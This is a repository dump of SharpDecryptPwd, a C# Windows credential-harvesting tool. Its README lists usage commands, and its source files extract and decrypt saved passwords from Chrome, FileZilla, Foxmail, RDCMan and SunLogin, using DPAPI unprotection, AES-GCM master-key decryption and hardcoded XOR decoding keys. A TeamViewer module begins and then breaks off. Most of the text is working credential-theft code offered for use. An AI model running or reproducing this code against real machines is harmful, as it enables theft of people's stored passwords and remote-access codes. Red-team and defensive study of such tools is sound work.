├── README.md ├── SharpDecryptPwd.sln └── SharpDecryptPwd ├── Commands ├── Chrome.cs ├── FileZilla.cs ├── Foxmail.cs ├── ICommand.cs ├── Navicat.cs ├── RDCMan.cs ├── Sunlogin.cs ├── TeamViewer.cs ├── TortoiseSVN.cs ├── WinSCP.cs └── Xmanager.cs ├── Domain ├── ArgumentParser.cs ├── ArgumentParserContent.cs ├── ArgumentParserResult.cs └── CommandCollection.cs ├── Helpers ├── Info.cs └── Writer.cs ├── Lib ├── Crypt │ └── AesGcm.cs ├── SQLite │ ├── SQLiteDatabase.cs │ ├── SQLiteVdbe.cs │ └── src │ │ ├── BtreeInt_h.cs │ │ ├── Btree_h.cs │ │ ├── Delagates.cs │ │ ├── Hash_h.cs │ │ ├── VdbeInt_h.cs │ │ ├── Vdbe_h.cs │ │ ├── _Custom.cs │ │ ├── alter_c.cs │ │ ├── analyze_c.cs │ │ ├── attach_c.cs │ │ ├── auth_c.cs │ │ ├── backup_c.cs │ │ ├── bitvec_c.cs │ │ ├── btmutex_c.cs │ │ ├── btree_c.cs │ │ ├── build_c.cs │ │ ├── callback_c.cs │ │ ├── complete_c.cs │ │ ├── date_c.cs │ │ ├── delete_c.cs │ │ ├── expr_c.cs │ │ ├── fault_c.cs │ │ ├── func_c.cs │ │ ├── global_c.cs │ │ ├── hash_c.cs │ │ ├── hwtime_c.cs │ │ ├── insert_c.cs │ │ ├── journal_c.cs │ │ ├── keywordhash_h.cs │ │ ├── legacy_c.cs │ │ ├── loadext_c.cs │ │ ├── main_c.cs │ │ ├── malloc_c.cs │ │ ├── mem0_c.cs │ │ ├── mem1_c.cs │ │ ├── memjournal_c.cs │ │ ├── mutex_c.cs │ │ ├── mutex_h.cs │ │ ├── mutex_noop_c.cs │ │ ├── mutex_w32.cs │ │ ├── notify_c.cs │ │ ├── opcodes_c.cs │ │ ├── opcodes_h.cs │ │ ├── os_c.cs │ │ ├── os_common_h.cs │ │ ├── os_h.cs │ │ ├── os_win_c.cs │ │ ├── pager_c.cs │ │ ├── pager_h.cs │ │ ├── parse_c.cs │ │ ├── parse_h.cs │ │ ├── pcache1_c.cs │ │ ├── pcache_c.cs │ │ ├── pcache_h.cs │ │ ├── pragma_c.cs │ │ ├── prepare_c.cs │ │ ├── printf_c.cs │ │ ├── random_c.cs │ │ ├── resolve_c.cs │ │ ├── rowset_c.cs │ │ ├── select_c.cs │ │ ├── sqlite3_h.cs │ │ ├── sqlite3ext_h.cs │ │ ├── sqliteInt_h.cs │ │ ├── sqliteLimit_h.cs │ │ ├── sqliteicu_h.cs │ │ ├── status_c.cs │ │ ├── table_c.cs │ │ ├── tokenize_c.cs │ │ ├── trigger_c.cs │ │ ├── update_c.cs │ │ ├── utf_c.cs │ │ ├── util_c.cs │ │ ├── vacuum_c.cs │ │ ├── vdbe_c.cs │ │ ├── vdbeapi_c.cs │ │ ├── vdbeaux_c.cs │ │ ├── vdbeblob_c.cs │ │ ├── vdbemem_c.cs │ │ ├── vtab_c.cs │ │ ├── walker_c.cs │ │ └── where_c.cs └── Win32 │ └── bcrypt.cs ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs └── Resources.resx ├── SharpDecryptPwd.csproj ├── SharpDecryptPwd.csproj.user └── app.config /README.md: -------------------------------------------------------------------------------- 1 | # SharpDecryptPwd 2 | 3 | 4 | 5 | ``` 6 | > SharpDecryptPwd.exe 7 | 8 | _____ _ _____ _ _____ _ 9 | / ____| | | __ \ | | | __ \ | | 10 | | (___ | |__ __ _ _ __ _ __ | | | | ___ ___ _ __ _ _ _ __ | |_| |__) |_ ____| | 11 | \___ \| '_ \ / _` | '__| '_ \| | | |/ _ \/ __| '__| | | | '_ \| __| ___/\ \ /\ / / _` | 12 | ____) | | | | (_| | | | |_) | |__| | __/ (__| | | |_| | |_) | |_| | \ V V / (_| | 13 | |_____/|_| |_|\__,_|_| | .__/|_____/ \___|\___|_| \__, | .__/ \__|_| \_/\_/ \__,_| 14 | | | __/ | | 15 | |_| |___/|_| by Rcoil V 2.3.0 16 | 17 | ------------------ ------------------ 18 | 19 | 20 | ### Command Line Usage ### 21 | 22 | SharpDecryptPwd Navicat 23 | SharpDecryptPwd Xmanager 24 | SharpDecryptPwd TeamViewer 25 | SharpDecryptPwd FileZilla 26 | SharpDecryptPwd Foxmail 27 | SharpDecryptPwd TortoiseSVN 28 | SharpDecryptPwd WinSCP 29 | SharpDecryptPwd Chrome 30 | SharpDecryptPwd RDCMan 31 | SharpDecryptPwd SunLogin 32 | ``` 33 | 34 | 35 | If you want to decrypt locally 36 | 37 | ``` 38 | SharpDecryptPwd.exe Xmanager /user:user /sid:sid /path:session_path 39 | ``` 40 | 41 | -------------------------------------------------------------------------------- /SharpDecryptPwd.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30413.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpDecryptPwd", "SharpDecryptPwd\SharpDecryptPwd.csproj", "{1824ED63-BE4D-4306-919D-9C749C1AE271}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {1824ED63-BE4D-4306-919D-9C749C1AE271}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {1824ED63-BE4D-4306-919D-9C749C1AE271}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {1824ED63-BE4D-4306-919D-9C749C1AE271}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {1824ED63-BE4D-4306-919D-9C749C1AE271}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {3741C1C0-19E8-466C-BAB4-B5757B0C5CF6} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/Chrome.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using CS_SQLite3; 4 | using System.Data; 5 | using System.Text; 6 | using SharpDecryptPwd.Domain; 7 | using SharpDecryptPwd.Helpers; 8 | using System.Security.Cryptography; 9 | using System.Text.RegularExpressions; 10 | 11 | namespace SharpDecryptPwd.Commands 12 | { 13 | public class Chrome : ICommand 14 | { 15 | 16 | public static string DecryptWithKey(byte[] encryptedData, byte[] MasterKey) 17 | { 18 | byte[] iv = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; 19 | 20 | Array.Copy(encryptedData, 3, iv, 0, 12); 21 | 22 | try 23 | { 24 | byte[] Buffer = new byte[encryptedData.Length - 15]; 25 | Array.Copy(encryptedData, 15, Buffer, 0, encryptedData.Length - 15); 26 | 27 | byte[] tag = new byte[16]; 28 | byte[] data = new byte[Buffer.Length - tag.Length]; 29 | 30 | Array.Copy(Buffer, Buffer.Length - 16, tag, 0, 16); 31 | Array.Copy(Buffer, 0, data, 0, Buffer.Length - tag.Length); 32 | 33 | return Encoding.UTF8.GetString(new Lib.Crypt.AesGcm().Decrypt(MasterKey, iv, null, data, tag)); 34 | } 35 | catch (Exception ex) 36 | { 37 | Writer.Failed(ex.Message); 38 | return null; 39 | } 40 | } 41 | 42 | /// 43 | /// 80 版本以上新增了一个 MasterKey 44 | /// 45 | public static byte[] GetMasterKey(string filePath) 46 | { 47 | byte[] masterKey = new byte[] { }; 48 | 49 | if (File.Exists(filePath) == false) 50 | return null; 51 | 52 | var pattern = new Regex("\"encrypted_key\":\"(.*?)\"", RegexOptions.Compiled).Matches(File.ReadAllText(filePath)); 53 | 54 | foreach (Match prof in pattern) 55 | { 56 | if (prof.Success) 57 | masterKey = Convert.FromBase64String((prof.Groups[1].Value)); //Decode base64 58 | } 59 | 60 | byte[] temp = new byte[masterKey.Length - 5]; 61 | Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5); 62 | 63 | try 64 | { 65 | return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser); 66 | } 67 | catch (Exception ex) 68 | { 69 | Writer.Failed(ex.Message); 70 | return null; 71 | } 72 | } 73 | 74 | public static bool Browser_logins(string login_data_path, string chrome_state_file) 75 | { 76 | string login_data_tmpFile = Path.GetTempFileName(); 77 | File.Copy(login_data_path, login_data_tmpFile, true); 78 | 79 | Writer.Log($"Copy {login_data_path} to {login_data_tmpFile}"); 80 | 81 | SQLiteDatabase database = new SQLiteDatabase(login_data_tmpFile); 82 | string query = @" 83 | SELECT 84 | origin_url, 85 | username_value, 86 | password_value, 87 | datetime(date_created / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch', 'localtime') 88 | FROM logins"; 89 | DataTable resultantQuery = database.ExecuteQuery(query); 90 | 91 | foreach (DataRow row in resultantQuery.Rows) 92 | { 93 | var url = row["origin_url"].ToString(); 94 | var username = row["username_value"].ToString(); 95 | var crypt_password = row["password_value"].ToString(); 96 | var date_created = row[3].ToString(); 97 | var password = string.Empty; 98 | 99 | byte[] passwordBytes = Convert.FromBase64String(crypt_password); 100 | try 101 | { 102 | //老版本解密 103 | password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser)); 104 | } 105 | catch//如果异常了就用新加密方式尝试 106 | { 107 | byte[] masterKey = GetMasterKey(chrome_state_file); 108 | password = DecryptWithKey(passwordBytes, masterKey); 109 | } 110 | 111 | Writer.Out("URL", url); 112 | Writer.Out("Date_Created", date_created); 113 | Writer.Out("USERNAME", username); 114 | Writer.Out("PASSWORD", password + "\r\n"); 115 | } 116 | database.CloseDatabase(); 117 | File.Delete(login_data_tmpFile); 118 | Writer.Log($"Delete File {login_data_tmpFile}"); 119 | 120 | return false; 121 | } 122 | 123 | public static string CommandName => "chrome"; 124 | 125 | public void DecryptPwd(ArgumentParserContent arguments) 126 | { 127 | string uname = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); 128 | 129 | if (File.Exists(uname + @"\Google\Chrome\User Data\Default\Login Data")) 130 | { 131 | Writer.Log("Get Chrome Login Data"); 132 | 133 | var login_data_path = uname + @"\Google\Chrome\User Data\Default\Login Data"; 134 | var chrome_state_file = uname + @"\Google\Chrome\User Data\Local State"; 135 | Browser_logins(login_data_path, chrome_state_file); 136 | } 137 | else 138 | { 139 | Writer.Error("Google 'Login Data' Not Found!"); 140 | } 141 | } 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/FileZilla.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Xml; 4 | using System.Text; 5 | using SharpDecryptPwd.Domain; 6 | using SharpDecryptPwd.Helpers; 7 | 8 | namespace SharpDecryptPwd.Commands 9 | { 10 | public class FileZilla : ICommand 11 | { 12 | public static string CommandName => "filezilla"; 13 | 14 | public void DecryptPwd(ArgumentParserContent arguments) 15 | { 16 | string fzPath = string.Empty; 17 | if (string.IsNullOrEmpty(arguments.path)) 18 | { 19 | fzPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"FileZilla\recentservers.xml"); 20 | } 21 | else 22 | { 23 | fzPath = arguments.path; 24 | } 25 | 26 | if (File.Exists(fzPath)) 27 | { 28 | try 29 | { 30 | var objXmlDocument = new XmlDocument(); 31 | objXmlDocument.Load(fzPath); 32 | foreach (XmlElement XE in ((XmlElement)objXmlDocument.GetElementsByTagName("RecentServers")[0]).GetElementsByTagName("Server")) 33 | { 34 | var host = XE.GetElementsByTagName("Host")[0].InnerText; 35 | var port = XE.GetElementsByTagName("Port")[0].InnerText; 36 | var username = XE.GetElementsByTagName("User")[0].InnerText; 37 | var password = (Encoding.UTF8.GetString(Convert.FromBase64String(XE.GetElementsByTagName("Pass")[0].InnerText))); 38 | 39 | if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(port) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password)) 40 | { 41 | Writer.Out("Host", host); 42 | Writer.Out("Port", port); 43 | Writer.Out("User", username); 44 | Writer.Out("Pass", password + "\r\n"); 45 | } 46 | else 47 | { 48 | break; 49 | } 50 | } 51 | } 52 | catch (Exception ex) 53 | { 54 | Writer.Error(ex.Message); 55 | } 56 | } 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/Foxmail.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using SharpDecryptPwd.Domain; 4 | using SharpDecryptPwd.Helpers; 5 | 6 | namespace SharpDecryptPwd.Commands 7 | { 8 | public class Foxmail : ICommand 9 | { 10 | /// 11 | /// Foxmail password decoder 12 | /// Credit: Jacob Soo 13 | /// https://github.com/jacobsoo/FoxmailRecovery/blob/c3263424dd961ec23868d03c9caad13fa5c017ee/Foxmail%20Password%20Recovery/Foxmail%20Password%20Recovery/SharedFunctions.cs#L72 14 | /// https://github.com/lim42snec/foxmaildump/blob/ca29edc6d767b4e52ee939cdad1d0f8cd7c9f626/FoxmailDump.cpp#L34 15 | /// 16 | public static string DecodePW(int ver, string strHash) 17 | { 18 | string decodedPW = string.Empty; 19 | int[] a; 20 | int fc0; 21 | 22 | if (ver == 0) // Version 6 23 | { 24 | int[] v6a = { '~', 'd', 'r', 'a', 'G', 'o', 'n', '~' }; 25 | a = v6a; 26 | fc0 = Convert.ToInt32("5A", 16); //90 27 | } 28 | else // Version 7 29 | { 30 | int[] v7a = { '~', 'F', '@', '7', '%', 'm', '$', '~' }; 31 | a = v7a; 32 | fc0 = Convert.ToInt32("71", 16); // 113 33 | } 34 | 35 | int size = strHash.Length / 2; 36 | int index = 0; 37 | int[] b = new int[size]; 38 | for (int i = 0; i < size; i++) 39 | { 40 | 41 | b[i] = Convert.ToInt32(strHash.Substring(index, 2), 16); 42 | index = index + 2; 43 | } 44 | 45 | int[] c = new int[b.Length]; 46 | 47 | c[0] = b[0] ^ fc0; 48 | 49 | Array.Copy(b, 1, c, 1, b.Length - 1); 50 | 51 | while (b.Length > a.Length) 52 | { 53 | int[] newA = new int[a.Length * 2]; 54 | Array.Copy(a, 0, newA, 0, a.Length); 55 | Array.Copy(a, 0, newA, a.Length, a.Length); 56 | a = newA; 57 | } 58 | 59 | int[] d = new int[b.Length]; 60 | 61 | for (int i = 1; i < b.Length; i++) 62 | { 63 | d[i - 1] = b[i] ^ a[i - 1]; 64 | 65 | } 66 | 67 | int[] e = new int[d.Length]; 68 | 69 | for (int i = 0; i < d.Length - 1; i++) 70 | { 71 | if (d[i] - c[i] < 0) 72 | { 73 | e[i] = d[i] + 255 - c[i]; 74 | 75 | } 76 | 77 | else 78 | { 79 | e[i] = d[i] - c[i]; 80 | } 81 | 82 | decodedPW += (char)e[i]; 83 | } 84 | 85 | return decodedPW; 86 | } 87 | 88 | private static void ParseSecretFiles(string userData, string email, string password) 89 | { 90 | using (var fs = new FileStream(userData, FileMode.Open)) 91 | { 92 | var len = (int)fs.Length; 93 | var bits = new byte[len]; 94 | 95 | bool accfound = false; 96 | string buffer = ""; 97 | int ver = 0; 98 | 99 | fs.Read(bits, 0, len); 100 | 101 | // 判断foxmail版本,首字节为0xD0,则为6.X版本 102 | if (bits[0] == 0xD0) 103 | { 104 | // Version 6.X 105 | ver = 0; 106 | } 107 | else 108 | { 109 | // Version 7.X 110 | ver = 1; 111 | } 112 | 113 | for (int jx = 0; jx < len; ++jx) 114 | { 115 | if (bits[jx] > 0x20 && bits[jx] < 0x7f && bits[jx] != 0x3d) 116 | { 117 | buffer += (char)bits[jx]; 118 | string acc = ""; 119 | if (buffer.Equals("Account") || buffer.Equals("POP3Account")) 120 | { 121 | accfound = true; 122 | 123 | int index = jx + 9; 124 | 125 | if (ver == 0) 126 | { 127 | index = jx + 2; 128 | } 129 | while (bits[index] > 0x20 && bits[index] < 0x7f) 130 | { 131 | acc += (char)bits[index]; 132 | index++; 133 | } 134 | 135 | jx = index; 136 | } 137 | 138 | else if (accfound && (buffer.Equals("Password") || buffer.Equals("POP3Password"))) 139 | { 140 | int index = jx + 9; 141 | if (ver == 0) 142 | { 143 | index = jx + 2; 144 | } 145 | string pw = ""; 146 | 147 | while (bits[index] > 0x20 && bits[index] < 0x7f) 148 | { 149 | pw += (char)bits[index]; 150 | index++; 151 | } 152 | password = DecodePW(ver, pw); 153 | 154 | jx = index; 155 | break; 156 | } 157 | 158 | Writer.Out("E-Mail", email); 159 | Writer.Out("PASSWORD", password + "\r\n"); 160 | } 161 | else 162 | { 163 | buffer = ""; 164 | } 165 | } 166 | } 167 | 168 | File.Delete(userData); 169 | } 170 | 171 | public static string CommandName => "foxmail"; 172 | 173 | public void DecryptPwd(ArgumentParserContent arguments) 174 | { 175 | string foxPath = arguments.path; 176 | string userData = string.Empty, email = string.Empty, password = string.Empty; 177 | 178 | if (string.IsNullOrEmpty(foxPath)) 179 | { 180 | // 获取软件安装路径 181 | foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command").GetValue("").ToString(); 182 | // 处理路径 183 | foxPath = foxPath.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", "") + @"Storage\"; 184 | 185 | // 路径处理过程 186 | foreach (var dir in Directory.GetDirectories(foxPath, "*@*", SearchOption.TopDirectoryOnly)) 187 | { 188 | email = dir.Substring(dir.LastIndexOf("\\", StringComparison.Ordinal) + 1); 189 | 190 | // 测试时,Foxmail 在运行中则出现错误,为了防止这个错误,先复制再读。 191 | File.Copy(dir + @"\Accounts\Account.rec0", dir + @"\Accounts\Account.rec1"); 192 | userData = dir + @"\Accounts\Account.rec1"; 193 | } 194 | } 195 | else 196 | { 197 | userData = foxPath; 198 | } 199 | 200 | Writer.Log($"Foxmail Path: {foxPath}"); 201 | Writer.Log($"Foxmail userData: {userData}"); 202 | 203 | ParseSecretFiles(userData, email, password); 204 | } 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | namespace SharpDecryptPwd.Commands 2 | { 3 | public interface ICommand 4 | { 5 | void DecryptPwd(Domain.ArgumentParserContent arguments); 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/RDCMan.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Xml; 4 | using System.Text; 5 | using SharpDecryptPwd.Domain; 6 | using SharpDecryptPwd.Helpers; 7 | using System.Security.Cryptography; 8 | using System.Collections.Generic; 9 | 10 | namespace SharpDecryptPwd.Commands 11 | { 12 | public class RDCMan : ICommand 13 | { 14 | /// 15 | /// 先 Base64 解密 -> byte[] -> DPAPI 16 | /// 17 | private static string DecryptPassword(string password) 18 | { 19 | byte[] passwordBytes = Convert.FromBase64String(password); 20 | password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser)).Replace("\0", ""); 21 | return password; 22 | } 23 | 24 | /// 25 | /// 解析 .rdg 文件,获取相应的账号密码及主机信息 26 | /// 27 | private static void ParseRDGFile(String RDGPath) 28 | { 29 | Writer.Log($"Checking: {RDGPath}"); 30 | XmlDocument RDGFileConfig = new XmlDocument(); 31 | 32 | try 33 | { 34 | RDGFileConfig.LoadXml(File.ReadAllText(RDGPath)); 35 | } 36 | catch (Exception e) 37 | { 38 | Writer.ErrorLine(e.Message); 39 | return; 40 | } 41 | 42 | // XmlNodeList:表示一个节点的集合 43 | XmlNodeList nodes = RDGFileConfig.SelectNodes("//server"); 44 | Console.WriteLine(); 45 | 46 | // XmlNode:这个类表示文档书中的一个节点 47 | foreach (XmlNode node in nodes) // 遍历单个 server 节点 48 | { 49 | string hostname = string.Empty, profilename = string.Empty, username = string.Empty, password = string.Empty, domain = string.Empty; 50 | 51 | // 每个 server 节点都有两个子节点,分别为 properties、logonCredentials 52 | // 遍历 properties 获取 hostname; 53 | // 遍历 logonCredentials 获取 profileName、userName、password、domain 54 | foreach (XmlNode subnode in node) 55 | { 56 | foreach (XmlNode subnode_1 in subnode) 57 | { 58 | switch (subnode_1.Name) 59 | { 60 | case "name": 61 | hostname = subnode_1.InnerText; 62 | break; 63 | case "profileName": 64 | profilename = subnode_1.InnerText; 65 | break; 66 | case "userName": 67 | username = subnode_1.InnerText; 68 | break; 69 | case "password": 70 | password = subnode_1.InnerText; 71 | break; 72 | case "domain": 73 | domain = subnode_1.InnerText; 74 | break; 75 | } 76 | } 77 | } 78 | 79 | if (!string.IsNullOrEmpty(password)) 80 | { 81 | var decrypted = DecryptPassword(password); 82 | if (string.IsNullOrEmpty(decrypted)) 83 | { 84 | Writer.Failed($@"Failed to decrypt password for: {username}\{password}"); 85 | } 86 | else 87 | { 88 | Writer.Out("hostname", hostname); 89 | Writer.Out("profilename", profilename); 90 | Writer.Out("username", $"{domain}\\{username}"); 91 | Writer.Out("decrypted", decrypted + "\r\n"); 92 | } 93 | } 94 | } 95 | } 96 | 97 | public static string CommandName => "rdcman"; 98 | 99 | public void DecryptPwd(ArgumentParserContent arguments) 100 | { 101 | var rdgPath = arguments.path; 102 | var RDGFiles = new List(); 103 | if (string.IsNullOrEmpty(rdgPath)) 104 | { 105 | var RDCManSettings = new XmlDocument(); 106 | rdgPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Remote Desktop Connection Manager\RDCMan.settings"; 107 | Writer.Log($"Checking settings for .rdg files: {rdgPath}"); 108 | 109 | try 110 | { 111 | RDCManSettings.LoadXml(File.ReadAllText(rdgPath)); 112 | } 113 | catch (Exception e) 114 | { 115 | Writer.Error(e.Message); 116 | } 117 | 118 | var nodes = RDCManSettings.SelectNodes("//FilesToOpen"); 119 | if (nodes.Count == 0) 120 | { 121 | Writer.Warnning("Found 0 .rdg files..."); 122 | return; 123 | } 124 | else 125 | Writer.Log($"Found {nodes.Count} .rdg file(s)!"); 126 | 127 | foreach (XmlNode node in nodes) 128 | { 129 | var RDGFilePath = node.InnerText; 130 | if (!RDGFiles.Contains(RDGFilePath)) 131 | { 132 | RDGFiles.Add(RDGFilePath); 133 | } 134 | } 135 | } 136 | else 137 | { 138 | Writer.Log($"Using file: {rdgPath}"); 139 | RDGFiles.Add(rdgPath); 140 | } 141 | 142 | Writer.Line(""); 143 | Writer.Log("Credentials:"); 144 | 145 | foreach (String RDGFile in RDGFiles) 146 | { 147 | ParseRDGFile(RDGFile); 148 | } 149 | } 150 | } 151 | } 152 | 153 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/Sunlogin.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using SharpDecryptPwd.Domain; 3 | using SharpDecryptPwd.Helpers; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Text.RegularExpressions; 10 | 11 | namespace SharpDecryptPwd.Commands 12 | { 13 | class Sunlogin : ICommand 14 | { 15 | public static string CommandName => "sunlogin"; 16 | 17 | public void DecryptPwd(ArgumentParserContent arguments) 18 | { 19 | AutoGetSunLoginPath(); 20 | } 21 | public static void AutoGetSunLoginPath() 22 | { 23 | string reg_path = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Oray SunLogin RemoteClient"; 24 | string reg_path1 = ".DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo"; 25 | string reg_path2 = ".DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo"; 26 | string config_path = ""; 27 | string InstallLocation = ""; 28 | RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(reg_path); 29 | RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey(reg_path1); 30 | RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(reg_path2); 31 | if (registryKey != null) 32 | { 33 | InstallLocation = Registry.LocalMachine.OpenSubKey(reg_path).GetValue("InstallLocation").ToString(); 34 | Writer.Out("InstallLocation", InstallLocation); 35 | config_path = InstallLocation + "\\config.ini"; 36 | Writer.Out("Path", config_path); 37 | string fileData = File.ReadAllText(config_path); 38 | string fastcode = Regex.Match(fileData, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; 39 | string encry_pwd = Regex.Match(fileData, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; 40 | string sunlogincode = Regex.Match(fileData, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; 41 | Writer.Out("Fastcode", fastcode); 42 | Writer.Out("Encry_pwd", encry_pwd); 43 | Writer.Out("Sunlogincode", sunlogincode + "\r\n"); 44 | } 45 | else if (registryKey1 != null) 46 | { 47 | string base_fastcode = Registry.LocalMachine.OpenSubKey(reg_path1).GetValue("base_fastcode").ToString(); 48 | string base_encry_pwd = Registry.LocalMachine.OpenSubKey(reg_path1).GetValue("base_encry_pwd").ToString(); 49 | string base_sunlogincode = Registry.LocalMachine.OpenSubKey(reg_path1).GetValue("base_sunlogincode").ToString(); 50 | Writer.Out("Fastcode", base_fastcode); 51 | Writer.Out("Encry_pwd", base_encry_pwd); 52 | Writer.Out("Sunlogincode", base_sunlogincode + "\r\n"); 53 | } 54 | else if (registryKey2 != null) 55 | { 56 | string base_fastcode = Registry.LocalMachine.OpenSubKey(reg_path2).GetValue("base_fastcode").ToString(); 57 | string base_encry_pwd = Registry.LocalMachine.OpenSubKey(reg_path2).GetValue("base_encry_pwd").ToString(); 58 | string base_sunlogincode = Registry.LocalMachine.OpenSubKey(reg_path2).GetValue("base_sunlogincode").ToString(); 59 | Writer.Out("Fastcode", base_fastcode); 60 | Writer.Out("Encry_pwd", base_encry_pwd); 61 | Writer.Out("Sunlogincode", base_sunlogincode + "\r\n"); 62 | } 63 | if (File.Exists(@"C:\\ProgramData\\Oray\\SunloginClient\\config.ini")) 64 | { 65 | config_path = "C:\\ProgramData\\Oray\\SunloginClient\\config.ini"; 66 | Writer.Out("Path", config_path); 67 | string fileData = File.ReadAllText(config_path); 68 | string fastcode = Regex.Match(fileData, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; 69 | string encry_pwd = Regex.Match(fileData, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; 70 | string sunlogincode = Regex.Match(fileData, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; 71 | Writer.Out("Fastcode", fastcode); 72 | Writer.Out("Encry_pwd", encry_pwd); 73 | Writer.Out("Sunlogincode", sunlogincode + "\r\n"); 74 | 75 | } 76 | else if (File.Exists(string.Format("C:\\Users\\{0}\\AppData\\Roaming\\Oray\\SunloginClientLite\\sys_lite_config.ini", Environment.UserName))) 77 | { 78 | config_path = string.Format("C:\\Users\\{0}\\AppData\\Roaming\\Oray\\SunloginClientLite\\sys_lite_config.ini", Environment.UserName); 79 | Writer.Out("Path", config_path); 80 | string fileData = File.ReadAllText(config_path); 81 | string fastcode = Regex.Match(fileData, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; 82 | string encry_pwd = Regex.Match(fileData, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; 83 | string sunlogincode = Regex.Match(fileData, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; 84 | Writer.Out("Fastcode", fastcode); 85 | Writer.Out("Encry_pwd", encry_pwd); 86 | Writer.Out("Sunlogincode", sunlogincode + "\r\n"); 87 | 88 | } 89 | else if (File.Exists(@"C:\Windows\system32\config\systemprofile\AppData\Roaming\Oray\SunloginClient\sys_config.ini")) 90 | { 91 | config_path = @"C:\Windows\system32\config\systemprofile\AppData\Roaming\Oray\SunloginClient\sys_config.ini"; 92 | Writer.Out("Path", config_path); 93 | string fileData = File.ReadAllText(config_path); 94 | string fastcode = Regex.Match(fileData, "fastcode=(.*)", RegexOptions.Multiline).Groups[1].Value; 95 | string encry_pwd = Regex.Match(fileData, "encry_pwd=(.*)", RegexOptions.Multiline).Groups[1].Value; 96 | string sunlogincode = Regex.Match(fileData, "sunlogincode=(.*)", RegexOptions.Multiline).Groups[1].Value; 97 | Writer.Out("Fastcode", fastcode); 98 | Writer.Out("Encry_pwd", encry_pwd); 99 | Writer.Out("Sunlogincode", sunlogincode + "\r\n"); 100 | 101 | } 102 | 103 | } 104 | 105 | } 106 | } 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Commands/TeamViewer.cs: -------------------------------------------------------------------------------- 1 | using SharpDecryptPwd.Domain; 2 | using SharpDecryptPwd.Helpers; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Runtime.InteropServices; 7 | using System.Text; 8 | 9 | namespace SharpDecryptPwd.Commands 10 | { 11 | class TeamViewer : ICommand 12 | { 13 | public delegate bool EnumChildProc(IntPtr hwnd, IntPtr lParam); 14 | [DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]//查找窗口 15 | private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); 16 | [DllImport("user32.dll", EntryPoint = "EnumChildWindows")] 17 | public static extern bool EnumChildWindows(IntPtr hwndParent, EnumChildProc EnumFunc, IntPtr lParam); 18 | [DllImport("user32.dll")] 19 | private static extern int GetWindowTextW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)]StringBuilder lpString, int nMaxCount); 20 | 